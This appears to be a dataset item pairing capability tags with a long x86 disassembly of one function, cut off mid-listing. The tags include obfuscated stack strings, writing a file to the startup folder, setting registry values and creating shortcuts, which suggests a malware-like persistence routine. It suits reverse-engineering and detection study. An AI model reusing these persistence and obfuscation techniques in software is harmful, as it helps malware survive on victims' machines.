Function at 0x445400
Capabilities:
Contain obfuscated stackstrings
Copy file
Create process on windows
Create shortcut via ishelllink
Get common file path
Get number of processors
Get session user name
Get startup folder
Parse pe header
Set registry value
Write file to startup folder

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x508858
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0xb40
xor eax, eax
push esi
mov dword [ebp - 0x24], eax
push edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x68], eax
sub esp, 0x18
mov dword [ebp - 4], 7
lea eax, [ebx + 8]
mov ecx, esp
push eax
call fcn.00466110
lea eax, [ebp - 0x41c]
mov ecx, 0x5193f0
push eax
call fcn.00445390
push eax
lea ecx, [ebx + 8]
call fcn.00465f90
lea ecx, [ebp - 0x41c]
call fcn.004026c0
mov ecx, 0x538130
call fcn.00463920
test al, al
je 0x44846e
mov ecx, 0x538130
call fcn.00463930
test al, al
jne 0x44846e
lea eax, [ebp - 0x508]
mov ecx, 0x538130
push eax
call fcn.004637b0
lea eax, [ebp - 0x638]
mov ecx, 0x538130
push eax
call fcn.00463740
lea eax, [ebp - 0x638]
push eax
lea ecx, [ebp - 0x508]
call fcn.00467580
test al, al
jne 0x44846e
nop dword [eax]
lea ecx, [ebp - 0x508]
call fcn.00462d20
lea ecx, [ebp - 0x1d2]
mov dword [ebp - 0x1d2], 0xd2e4ded5
mov esi, eax
mov dword [ebp - 0x1ce], 0xdad3dc
mov byte [ebp - 0x1ca], 1
call fcn.0040b910
push eax
mov ecx, esi
call fcn.0046a110
lea ecx, [ebp - 0x598]
push ecx
mov ecx, eax
call fcn.0046a250
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x1e5]
mov dword [ebp - 0x1e5], 0xd1e4ded5
mov dword [ebp - 0x1e1], 0xb3d4ccdc
mov word [ebp - 0x1dd], 0x100
call fcn.0040f320
push eax
mov ecx, esi
call fcn.0046a110
lea ecx, [ebp - 0x698]
push ecx
mov ecx, eax
call fcn.0046a250
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x200]
mov dword [ebp - 0x200], 0xdee4ded5
mov dword [ebp - 0x1fc], 0xa4d3d7c8
mov dword [ebp - 0x1f8], 0xa1aea3af
mov word [ebp - 0x1f4], 0x100
call fcn.0040f380
push eax
mov ecx, esi
call fcn.0046a110
lea ecx, [ebp - 0x628]
push ecx
mov ecx, eax
call fcn.0046a250
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x186]
mov dword [ebp - 0x186], 0xdbe4ded5
mov dword [ebp - 0x182], 0x100d1d8
call fcn.0040dcf0
push eax
mov ecx, esi
call fcn.0046a110
lea ecx, [ebp - 0x434]
push ecx
mov ecx, eax
call fcn.0046a250
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x1ae]
mov dword [ebp - 0x1ae], 0xc9e4ded5
mov dword [ebp - 0x1aa], 0x100d2cf
call fcn.0040dcf0
push eax
mov ecx, esi
call fcn.0046a110
lea ecx, [ebp - 0x5b0]
push ecx
mov ecx, eax
call fcn.0046a250
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x41]
movaps xmm0, xmmword [0x527640]
movups xmmword [ebp - 0x41], xmm0
mov dword [ebp - 0x31], 0xb2b8bd
mov byte [ebp - 0x2d], 1
call fcn.0040f4d0
push eax
mov ecx, esi
call fcn.0046a110
mov ecx, eax
call fcn.0046a380
movaps xmm0, xmmword [0x526da0]
lea ecx, [ebp - 0x42]
mov byte [ebp - 0x4c], al
movups xmmword [ebp - 0x42], xmm0
mov dword [ebp - 0x32], 0xbeaea6bc
mov word [ebp - 0x2e], 0x100
call fcn.0040f440
push eax
mov ecx, esi
call fcn.0046a110
mov ecx, eax
call fcn.0046a380
movaps xmm0, xmmword [0x526850]
lea ecx, [ebp - 0x3e]
mov byte [ebp - 0x4d], al
movups xmmword [ebp - 0x3e], xmm0
mov word [ebp - 0x2e], 0x100
call fcn.0040f2c0
push eax
mov ecx, esi
call fcn.0046a110
mov ecx, eax
call fcn.0046a380
lea ecx, [ebp - 0x628]
mov byte [ebp - 0x4e], al
call fcn.004026b0
test eax, eax
je 0x4457ad
sub esp, 0x18
mov word [ebp - 0xcf], 0x95
lea ecx, [ebp - 0xcf]
mov byte [ebp - 0xcd], 1
mov esi, esp
mov dword [ebp - 0x20], esp
call fcn.0040a410
push eax
mov ecx, esi
call fcn.00402760
sub esp, 0x18
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x628]
mov ecx, esp
push eax
call fcn.00466110
lea ecx, [ebp - 0x440]
mov byte [ebp - 4], 0xc
call fcn.0040c490
add esp, 0x30
lea ecx, [ebp - 0x440]
call fcn.00464d80
lea ecx, [ebp - 0x440]
mov esi, eax
call fcn.00464d70
mov edi, eax
cmp esi, edi
je 0x445757
nop dword [eax]
mov edx, esi
mov ecx, 0x535bd4
call fcn.0046a0e0
test al, al
jne 0x4457a2
add esi, 0x18
cmp esi, edi
jne 0x445740
lea ecx, [ebp - 0x440]
call fcn.00464e40
lea ecx, [ebp - 0x5b0]
call fcn.004026c0
lea ecx, [ebp - 0x434]
call fcn.004026c0
lea ecx, [ebp - 0x628]
call fcn.004026c0
lea ecx, [ebp - 0x698]
call fcn.004026c0
lea ecx, [ebp - 0x598]
mov byte [ebp - 4], 7
call fcn.004026c0
jmp 0x448449
lea ecx, [ebp - 0x440]
call fcn.00464e40
lea eax, [ebp - 0x580]
push eax
lea ecx, [ebp - 0x434]
call fcn.00465c60
lea ecx, [ebp - 0x434]
mov edi, dword [eax]
lea eax, [ebp - 0x57c]
push eax
call fcn.00465c40
lea ecx, [ebp - 0x434]
mov esi, dword [eax]
lea eax, [ebp - 0x578]
push eax
call fcn.00465c60
push edi
push esi
mov edx, fcn.004e31be
lea ecx, [ebp - 0x288]
push dword [eax]
call fcn.0046ac30
add esp, 0xc
mov word [ebp - 0x2b], 0x99
lea ecx, [ebp - 0x2b]
mov byte [ebp - 0x29], 1
call fcn.00463460
lea ecx, [ebp - 0x434]
call fcn.00402800
lea ecx, [ebp - 0x2b]
push ecx
push eax
call fcn.004deab0
add esp, 8
test eax, eax
je 0x44590c
push dword [ebp - 0x288]
lea ecx, [ebp - 0x278]
call fcn.00402880
push 0
push 0x5214f8
lea ecx, [ebp - 0x278]
mov byte [ebp - 4], 0xe
call fcn.004028a0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x51]
mov word [ebp - 0x51], 0x99
mov byte [ebp - 0x4f], 1
call fcn.00463460
push dword [ebp - 0x288]
lea ecx, [ebp - 0x2e8]
call fcn.00402880
lea ecx, [ebp - 0x51]
mov byte [ebp - 4], 0x10
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x445888
sub ecx, edx
lea eax, [ebp - 0x51]
push ecx
push eax
lea ecx, [ebp - 0x2e8]
call fcn.004028a0
lea eax, [ebp - 0x278]
mov byte [ebp - 4], 0x11
push eax
lea edx, [ebp - 0x2e8]
lea ecx, [ebp - 0x434]
call fcn.0040c790
add esp, 4
lea ecx, [ebp - 0x2e8]
call fcn.004026c0
lea ecx, [ebp - 0x278]
mov byte [ebp - 4], 0xc
call fcn.004026c0
lea ecx, [ebp - 0x2b]
mov word [ebp - 0x2b], 0x99
mov byte [ebp - 0x29], 1
call fcn.00463460
lea ecx, [ebp - 0x434]
call fcn.00402800
lea ecx, [ebp - 0x2b]
push ecx
push eax
call fcn.004deab0
add esp, 8
test eax, eax
jne 0x445830
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea ecx, [ebp - 0xcc]
mov word [ebp - 0xcc], 0x95
mov byte [ebp - 0xca], 1
mov esi, esp
mov dword [ebp - 0x20], esp
call fcn.0040a410
push eax
mov ecx, esi
call fcn.00402760
sub esp, 0x18
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x434]
mov ecx, esp
push eax
call fcn.00466110
lea ecx, [ebp - 0x350]
mov byte [ebp - 4], 0xc
call fcn.0040c490
add esp, 0x30
lea ecx, [ebp - 0x350]
mov byte [ebp - 4], 0x13
xor esi, esi
call fcn.00464d50
test eax, eax
je 0x4459b0
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x350]
call fcn.00464d30
lea edx, [ebx + 8]
mov ecx, eax
call fcn.0046a0e0
test al, al
jne 0x4459ac
lea ecx, [ebp - 0x350]
inc esi
call fcn.00464d50
cmp esi, eax
jb 0x445980
jmp 0x4459b0
mov byte [ebp - 0x11], 1
lea ecx, [ebp - 0x350]
call fcn.00464d50
test eax, eax
je 0x4459c9
cmp byte [ebp - 0x11], 0
je 0x448403
sub esp, 0x18
mov byte [ebp - 0x1c], 0
lea ecx, [ebp - 0xc9]
mov word [ebp - 0xc9], 0x95
mov byte [ebp - 0xc7], 1
mov esi, esp
mov dword [ebp - 0x20], esp
call fcn.0040a410
push eax
mov ecx, esi
call fcn.00402760
sub esp, 0x18
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x698]
mov ecx, esp
push eax
call fcn.00466110
lea ecx, [ebp - 0x3cc]
mov byte [ebp - 4], 0x13
call fcn.0040c490
add esp, 0x30
xor ecx, ecx
mov byte [ebp - 4], 0x15
mov edi, dword [ebp - 0x3c8]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x3cc]
mov dword [ebp - 0x48], ecx
mov ecx, edi
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x446bf2
nop
mov edi, dword [ebp - 0x48]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x20], esp
lea eax, [edi + edi*2]
lea eax, [esi + eax*8]
push eax
call fcn.00466110
sub esp, 0x10
mov byte [ebp - 4], 0x16
lea eax, [ebx + 0x20]
mov ecx, esp
push eax
call fcn.00463c10
lea ecx, [ebp - 0x370]
mov byte [ebp - 4], 0x15
call fcn.00414530
add esp, 0x28
xor edx, edx
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x370]
call fcn.0046a340
test al, al
je 0x446bb5
movaps xmm0, xmmword [0x5266e0]
lea ecx, [ebp - 0x40]
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0x100b9ac
call fcn.004630d0
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x370]
call fcn.0046a110
lea edx, [ebp - 0x49]
mov ecx, eax
call fcn.00479f50
movaps xmm0, xmmword [0x527950]
lea ecx, [ebp - 0x42]
movups xmmword [ebp - 0x42], xmm0
mov dword [ebp - 0x32], 0xbfafb8a6
mov word [ebp - 0x2e], 0x100
call fcn.00462ee0
lea eax, [ebp - 0x42]
push eax
lea ecx, [ebp - 0x370]
call fcn.0046a110
lea edx, [ebp - 0x4a]
mov ecx, eax
call fcn.00479f50
movaps xmm0, xmmword [0x526aa0]
lea ecx, [ebp - 0x40]
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0x100b3bb
call fcn.004630d0
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x370]
call fcn.0046a110
lea edx, [ebp - 0x4b]
mov ecx, eax
call fcn.00479f50
lea ecx, [ebp - 0x17e]
mov dword [ebp - 0x17e], 0xd7c9dbd4
mov dword [ebp - 0x17a], 0xadd0dae2
mov dword [ebp - 0x176], 0xb7adaba0
mov word [ebp - 0x172], 0x100
call fcn.00463100
lea eax, [ebp - 0x17e]
push eax
lea ecx, [ebp - 0x370]
call fcn.0046a110
lea ecx, [ebp - 0x278]
push ecx
mov ecx, eax
call fcn.0046a250
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x54]
mov word [ebp - 0x54], 0x95
mov byte [ebp - 0x52], 1
call fcn.00463460
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x20], esp
mov dword [ebp - 0x60], esi
mov ecx, esi
push dword [ebp - 0x60]
call fcn.00402880
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 0x19
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x445bd0
sub ecx, edx
lea eax, [ebp - 0x54]
push ecx
push eax
mov ecx, esi
call fcn.004028a0
sub esp, 0x18
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x278]
mov ecx, esp
push eax
call fcn.00466110
lea ecx, [ebp - 0x324]
mov byte [ebp - 4], 0x18
call fcn.0040c490
add esp, 0x30
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x196]
mov byte [ebp - 0x11], 0
mov dword [ebp - 0x196], 0xd7c9dbd4
mov dword [ebp - 0x192], 0xb5d0dde2
mov dword [ebp - 0x18e], 0xadb1b6af
mov dword [ebp - 0x18a], 0x100b5a0
call fcn.00462e80
lea eax, [ebp - 0x196]
push eax
lea ecx, [ebp - 0x370]
call fcn.0046a110
lea ecx, [ebp - 0x2e8]
push ecx
mov ecx, eax
call fcn.0046a250
mov byte [ebp - 4], 0x1c
cmp dword [ebp - 0x2d8], 0
je 0x445d47
sub esp, 0x18
mov word [ebp - 0xc6], 0x95
lea ecx, [ebp - 0xc6]
mov byte [ebp - 0xc4], 1
mov esi, esp
mov dword [ebp - 0x20], esp
call fcn.0040a410
push eax
mov ecx, esi
call fcn.00402760
sub esp, 0x18
mov byte [ebp - 4], 0x1d
lea eax, [ebp - 0x2e8]
mov ecx, esp
push eax
call fcn.00466110
lea ecx, [ebp - 0x3b4]
mov byte [ebp - 4], 0x1c
call fcn.0040c490
mov esi, dword [ebp - 0x3b4]
xor ecx, ecx
mov dword [ebp - 0x78], ecx
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x3b0]
add esp, 0x30
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x445d32
xor edi, edi
lea eax, [ebx + 8]
lea ecx, [esi + edi]
push eax
call fcn.0046d970
test al, al
jne 0x445d2e
mov ecx, dword [ebp - 0x3b0]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x3b4]
add edi, 0x18
inc dword [ebp - 0x78]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x78], eax
jb 0x445cf2
jmp 0x445d32
mov byte [ebp - 0x11], 1
lea ecx, [ebp - 0x3b4]
call fcn.00468250
cmp byte [ebp - 0x11], 0
je 0x446b91
cmp dword [ebp - 0x268], 0
je 0x446b8d
cmp byte [ebp - 0x49], 0
je 0x4463e1
lea ecx, [ebx + 0x30]
call fcn.00463710
test eax, eax
je 0x446089
lea eax, [ebp - 0x380]
push eax
lea ecx, [ebx + 0x30]
call fcn.0046a400
lea eax, [ebp - 0x260]
mov byte [ebp - 4], 0x1e
push eax
lea ecx, [ebp - 0x380]
call fcn.00463540
lea eax, [ebp - 0x241]
push eax
lea ecx, [ebp - 0x380]
call fcn.00463530
mov eax, dword [ebp - 0x260]
cmp byte [eax + 0xd], 0
jne 0x44607a
cmp byte [ebp - 0x1c], 0
jne 0x44607a
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.00463930
test al, al
jne 0x44605f
mov ecx, esi
call fcn.00463710
test eax, eax
je 0x44605f
lea eax, [ebp - 0x4e8]
mov ecx, esi
push eax
call fcn.004637b0
lea eax, [ebp - 0x658]
mov ecx, esi
push eax
call fcn.00463740
lea eax, [ebp - 0x658]
push eax
lea ecx, [ebp - 0x4e8]
call fcn.00467580
test al, al
jne 0x44605f
nop word [eax + eax]
lea ecx, [ebp - 0x4e8]
call fcn.00462d20
cmp byte [ebp - 0x1c], 0
jne 0x44605f
lea ecx, [ebp - 0x378]
push ecx
mov ecx, eax
call fcn.0046a400
lea eax, [ebp - 0x240]
mov byte [ebp - 4], 0x1f
push eax
lea ecx, [ebp - 0x378]
call fcn.00463540
lea eax, [ebp - 0x239]
push eax
lea ecx, [ebp - 0x378]
call fcn.00463530
mov eax, dword [ebp - 0x240]
cmp byte [eax + 0xd], 0
jne 0x44602b
nop dword [eax + eax]
cmp byte [ebp - 0x1c], 0
jne 0x44602b
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.00463710
test eax, eax
je 0x446010
lea eax, [ebp - 0x518]
mov ecx, esi
push eax
call fcn.004637b0
lea eax, [ebp - 0x668]
mov ecx, esi
push eax
call fcn.00463740
lea eax, [ebp - 0x668]
push eax
lea ecx, [ebp - 0x518]
call fcn.00467580
test al, al
jne 0x446010
lea ecx, [ebp - 0x518]
call fcn.00462d20
cmp byte [ebp - 0x1c], 0
mov esi, eax
jne 0x446010
push dword [ebp - 0x60]
lea ecx, [ebp - 0xb4]
call fcn.00402880
push 0
push 0x5214f8
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0x20
call fcn.004028a0
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0xf7]
mov dword [ebp - 0xf7], 0xddd6d5dd
mov dword [ebp - 0xf3], 0x100d0d4
call fcn.004631f0
lea eax, [ebp - 0xf7]
mov ecx, esi
push eax
call fcn.0046a110
cmp byte [eax], 0
je 0x445f76
lea ecx, [ebp - 0x1a6]
mov dword [ebp - 0x1a6], 0xddd6d5dd
mov dword [ebp - 0x1a2], 0x100d0d4
call fcn.0040dcf0
push eax
mov ecx, esi
call fcn.0046a110
push eax
lea ecx, [ebp - 0xb4]
call fcn.0046a490
lea ecx, [ebp - 0x6b]
mov word [ebp - 0x6b], 0x97
mov byte [ebp - 0x69], 1
call fcn.00463460
sub esp, 0x18
lea eax, [ebp - 0xb4]
mov ecx, esp
mov dword [ebp - 0x20], esp
lea edx, [ebp - 0x6b]
push eax
call fcn.00469e60
sub esp, 8
mov byte [ebp - 4], 0x22
lea eax, [ebp - 0x324]
mov byte [ebp - 0x11], 0
mov ecx, esp
push eax
call fcn.00464e50
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x21
call fcn.00414790
mov cl, al
mov byte [ebp - 4], 0x1f
mov eax, dword [ebp - 0x1c]
add esp, 0x24
test cl, cl
movzx eax, al
mov ecx, 1
cmovne eax, ecx
lea ecx, [ebp - 0xb4]
mov dword [ebp - 0x1c], eax
call fcn.004026c0
lea ecx, [ebp - 0x518]
call fcn.00462cd0
lea eax, [ebp - 0x668]
push eax
lea ecx, [ebp - 0x518]
call fcn.00467580
test al, al
je 0x445ed2
lea ecx, [ebp - 0x240]
call fcn.00467510
mov eax, dword [ebp - 0x240]
cmp byte [eax + 0xd], 0
je 0x445e80
lea ecx, [ebp - 0x378]
mov byte [ebp - 4], 0x1e
call fcn.0041c960
lea ecx, [ebp - 0x4e8]
call fcn.00462cd0
lea eax, [ebp - 0x658]
push eax
lea ecx, [ebp - 0x4e8]
call fcn.00467580
test al, al
je 0x445e20
lea ecx, [ebp - 0x260]
call fcn.00467510
mov eax, dword [ebp - 0x260]
cmp byte [eax + 0xd], 0
je 0x445db5
lea ecx, [ebp - 0x380]
mov byte [ebp - 4], 0x1c
call fcn.0041c960
mov eax, dword [ebp - 0x1c]
test al, al
jne 0x4463e4
lea ecx, [ebx + 0x40]
call fcn.00463710
test eax, eax
je 0x4463e1
lea eax, [ebp - 0x390]
push eax
lea ecx, [ebx + 0x40]
call fcn.0046a400
lea eax, [ebp - 0x248]
mov byte [ebp - 4], 0x23
push eax
lea ecx, [ebp - 0x390]
call fcn.00463540
lea eax, [ebp - 0x23a]
push eax
lea ecx, [ebp - 0x390]
call fcn.00463530
mov eax, dword [ebp - 0x248]
cmp byte [eax + 0xd], 0
jne 0x4463d2
nop dword [eax + eax]
cmp byte [ebp - 0x1c], 0
jne 0x4463d2
cmp byte [eax + 0x28], 0
lea esi, [eax + 0x28]
je 0x4463b7
mov ecx, esi
call fcn.00463710
test eax, eax
je 0x4463b7
lea eax, [ebp - 0x4f8]
mov ecx, esi
push eax
call fcn.004637b0
lea eax, [ebp - 0x648]
mov ecx, esi
push eax
call fcn.00463740
lea eax, [ebp - 0x648]
push eax
lea ecx, [ebp - 0x4f8]
call fcn.00467580
test al, al
jne 0x4463b7
mov edi, dword [ebp - 0x68]
nop
lea ecx, [ebp - 0x4f8]
call fcn.00462d20
cmp byte [ebp - 0x1c], 0
mov esi, eax
jne 0x4463b7
lea ecx, [ebp - 0x388]
mov byte [ebp - 4], 0x24
call fcn.0046d450
or edi, 0x40
lea edx, [ebp - 0x388]
mov ecx, esi
mov dword [ebp - 0x68], edi
call fcn.00479fd0
mov eax, dword [ebp - 0x388]
lea ecx, [ebp - 0x25c]
push 0
push dword [eax]
call fcn.00467570
mov eax, dword [ebp - 0x25c]
cmp byte [eax + 0xd], 0
jne 0x44637d
mov edi, 1
cmp byte [ebp - 0x1c], 0
jne 0x44637a
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.00463710
test eax, eax
je 0x44635f
push esi
lea ecx, [ebp - 0x470]
call fcn.004676b0
lea ecx, [ebp - 0x470]
call fcn.00467670
push esi
lea ecx, [ebp - 0x5f0]
call fcn.004676b0
lea ecx, [ebp - 0x5f0]
call fcn.00467640
lea eax, [ebp - 0x5f0]
push eax
lea ecx, [ebp - 0x470]
call fcn.00467580
test al, al
jne 0x44635f
nop word [eax + eax]
lea ecx, [ebp - 0x470]
call fcn.00462d20
cmp byte [ebp - 0x1c], 0
mov esi, eax
jne 0x44635f
push dword [ebp - 0x60]
lea ecx, [ebp - 0xb4]
call fcn.00402880
push 0
push 0x5214f8
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0x25
call fcn.004028a0
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0xff]
mov dword [ebp - 0xff], 0xddd6d5dd
mov dword [ebp - 0xfb], 0x100d0d4
call fcn.004631f0
lea eax, [ebp - 0xff]
mov ecx, esi
push eax
call fcn.0046a110
cmp byte [eax], 0
je 0x4462ca
lea ecx, [ebp - 0xef]
mov dword [ebp - 0xef], 0xddd6d5dd
mov dword [ebp - 0xeb], 0x100d0d4
call fcn.004631f0
lea eax, [ebp - 0xef]
mov ecx, esi
push eax
call fcn.0046a110
push eax
lea ecx, [ebp - 0xb4]
call fcn.004711f0
lea ecx, [ebp - 0x6e]
mov word [ebp - 0x6e], 0x97
mov byte [ebp - 0x6c], 1
call fcn.00463460
sub esp, 0x18
lea eax, [ebp - 0xb4]
mov ecx, esp
mov dword [ebp - 0x20], esp
lea edx, [ebp - 0x6e]
push eax
call fcn.00469e60
sub esp, 8
mov byte [ebp - 4], 0x27
lea eax, [ebp - 0x324]
mov byte [ebp - 0x11], 0
mov ecx, esp
push eax
call fcn.00464e50
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x26
call fcn.00414790
mov cl, al
mov byte [ebp - 4], 0x24
mov eax, dword [ebp - 0x1c]
add esp, 0x24
test cl, cl
movzx eax, al
lea ecx, [ebp - 0xb4]
cmovne eax, edi
mov byte [ebp - 0x1c], al
call fcn.004026c0
lea ecx, [ebp - 0x470]
call fcn.00462cd0
lea eax, [ebp - 0x5f0]
push eax
lea ecx, [ebp - 0x470]
call fcn.00467580
test al, al
je 0x446220
lea ecx, [ebp - 0x25c]
call fcn.00467510
mov eax, dword [ebp - 0x25c]
cmp byte [eax + 0xd], 0
je 0x4461b3
mov edi, dword [ebp - 0x68]
and edi, 0xffffffbf
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x388]
mov dword [ebp - 0x68], edi
call fcn.0041c960
lea ecx, [ebp - 0x4f8]
call fcn.00462cd0
lea eax, [ebp - 0x648]
push eax
lea ecx, [ebp - 0x4f8]
call fcn.00467580
test al, al
je 0x446150
lea ecx, [ebp - 0x248]
call fcn.00467510
mov eax, dword [ebp - 0x248]
cmp byte [eax + 0xd], 0
je 0x4460f0
lea ecx, [ebp - 0x390]
mov byte [ebp - 4], 0x1c
call fcn.0041c960
mov eax, dword [ebp - 0x1c]
cmp byte [ebp - 0x4a], 0
je 0x446812
test al, al
jne 0x446812
lea ecx, [ebx + 0x50]
call fcn.00463710
test eax, eax
je 0x4465ff
lea eax, [ebp - 0x398]
push eax
lea ecx, [ebx + 0x50]
call fcn.0046a400
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x258]
mov eax, dword [ebp - 0x398]
push 0
push dword [eax]
call fcn.00467570
lea eax, [ebp - 0x23b]
push eax
lea ecx, [ebp - 0x398]
call fcn.00463530
mov eax, dword [ebp - 0x258]
cmp byte [eax + 0xd], 0
jne 0x4465e9
cmp byte [ebp - 0x1c], 0
jne 0x4465e9
lea esi, [eax + 0x28]
push esi
lea ecx, [ebp - 0x480]
call fcn.004676b0
lea ecx, [ebp - 0x480]
call fcn.00467670
push esi
lea ecx, [ebp - 0x600]
call fcn.004676b0
lea ecx, [ebp - 0x600]
call fcn.00467640
lea eax, [ebp - 0x600]
push eax
lea ecx, [ebp - 0x480]
call fcn.00467580
test al, al
jne 0x4465ce
lea ecx, [ebp - 0x480]
call fcn.00462d20
cmp byte [ebp - 0x1c], 0
mov esi, eax
jne 0x4465ce
push dword [ebp - 0x60]
lea ecx, [ebp - 0xb4]
call fcn.00402880
push 0
push 0x5214f8
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0x29
call fcn.004028a0
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x9c], 0xd7c8cc
mov byte [ebp - 0x98], 1
call fcn.00463500
lea eax, [ebp - 0x9c]
mov ecx, esi
push eax
call fcn.0046a110
cmp byte [eax], 0
je 0x446549
lea ecx, [ebp - 0x97]
mov dword [ebp - 0x97], 0xd7c8cc
mov byte [ebp - 0x93], 1
call fcn.00463500
lea eax, [ebp - 0x97]
mov ecx, esi
push eax
call fcn.0046a110
push eax
lea ecx, [ebp - 0xb4]
call fcn.004711f0
sub esp, 0x18
lea eax, [ebp - 0xb4]
mov ecx, esp
mov dword [ebp - 0x20], esp
push eax
call fcn.00466110
sub esp, 0xc
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x324]
mov byte [ebp - 0x11], 1
mov ecx, esp
push eax
call fcn.00464e50
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x2a
call fcn.00414790
mov cl, al
mov byte [ebp - 4], 0x28
mov eax, dword [ebp - 0x1c]
add esp, 0x24
test cl, cl
movzx eax, al
mov ecx, 1
cmovne eax, ecx
lea ecx, [ebp - 0xb4]
mov byte [ebp - 0x1c], al
call fcn.004026c0
lea ecx, [ebp - 0x480]
call fcn.00462cd0
lea eax, [ebp - 0x600]
push eax
lea ecx, [ebp - 0x480]
call fcn.00467580
test al, al
je 0x4464a5
lea ecx, [ebp - 0x258]
call fcn.00467510
mov eax, dword [ebp - 0x258]
cmp byte [eax + 0xd], 0
je 0x446450
lea ecx, [ebp - 0x398]
call fcn.0041c960
mov eax, dword [ebp - 0x1c]
test al, al
jne 0x446812
lea ecx, [ebx + 0x60]
call fcn.00463710
test eax, eax
je 0x446812
lea ecx, [ebp - 0x3a0]
mov byte [ebp - 4], 0x2c
call fcn.0046d450
mov esi, dword [ebp - 0x18]
lea edx, [ebp - 0x3a0]
or esi, 0x400000
lea ecx, [ebx + 0x60]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.00479fd0
mov eax, dword [ebp - 0x3a0]
lea ecx, [ebp - 0x254]
push 0
push dword [eax]
call fcn.00467570
mov eax, dword [ebp - 0x254]
cmp byte [eax + 0xd], 0
jne 0x4467f9
cmp byte [ebp - 0x1c], 0
jne 0x4467f6
lea esi, [eax + 0x28]
push esi
lea ecx, [ebp - 0x460]
call fcn.004676b0
lea ecx, [ebp - 0x460]
call fcn.00467670
push esi
lea ecx, [ebp - 0x610]
call fcn.004676b0
lea ecx, [ebp - 0x610]
call fcn.00467640
lea eax, [ebp - 0x610]
push eax
lea ecx, [ebp - 0x460]
call fcn.00467580
test al, al
jne 0x4467db
lea ecx, [ebp - 0x460]
call fcn.00462d20
cmp byte [ebp - 0x1c], 0
mov esi, eax
jne 0x4467db
push dword [ebp - 0x60]
lea ecx, [ebp - 0xb4]
call fcn.00402880
push 0
push 0x5214f8
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0x2d
call fcn.004028a0
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x83]
mov dword [ebp - 0x83], 0xd7c8cc
mov byte [ebp - 0x7f], 1
call fcn.00463500
lea eax, [ebp - 0x83]
mov ecx, esi
push eax
call fcn.0046a110
cmp byte [eax], 0
je 0x446756
lea ecx, [ebp - 0x8d]
mov dword [ebp - 0x8d], 0xd7c8cc
mov byte [ebp - 0x89], 1
call fcn.00463500
lea eax, [ebp - 0x8d]
mov ecx, esi
push eax
call fcn.0046a110
push eax
lea ecx, [ebp - 0xb4]
call fcn.004711f0
sub esp, 0x18
lea eax, [ebp - 0xb4]
mov ecx, esp
mov dword [ebp - 0x20], esp
push eax
call fcn.00466110
sub esp, 0xc
mov byte [ebp - 4], 0x2f
lea eax, [ebp - 0x324]
mov byte [ebp - 0x11], 1
mov ecx, esp
push eax
call fcn.00464e50
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x2e
call fcn.00414790
mov cl, al
mov byte [ebp - 4], 0x2c
mov eax, dword [ebp - 0x1c]
add esp, 0x24
test cl, cl
movzx eax, al
mov ecx, 1
cmovne eax, ecx
lea ecx, [ebp - 0xb4]
mov byte [ebp - 0x1c], al
call fcn.004026c0
lea ecx, [ebp - 0x460]
call fcn.00462cd0
lea eax, [ebp - 0x610]
push eax
lea ecx, [ebp - 0x460]
call fcn.00467580
test al, al
je 0x4466b5
lea ecx, [ebp - 0x254]
call fcn.00467510
mov eax, dword [ebp - 0x254]
cmp byte [eax + 0xd], 0
je 0x446660
mov esi, dword [ebp - 0x18]
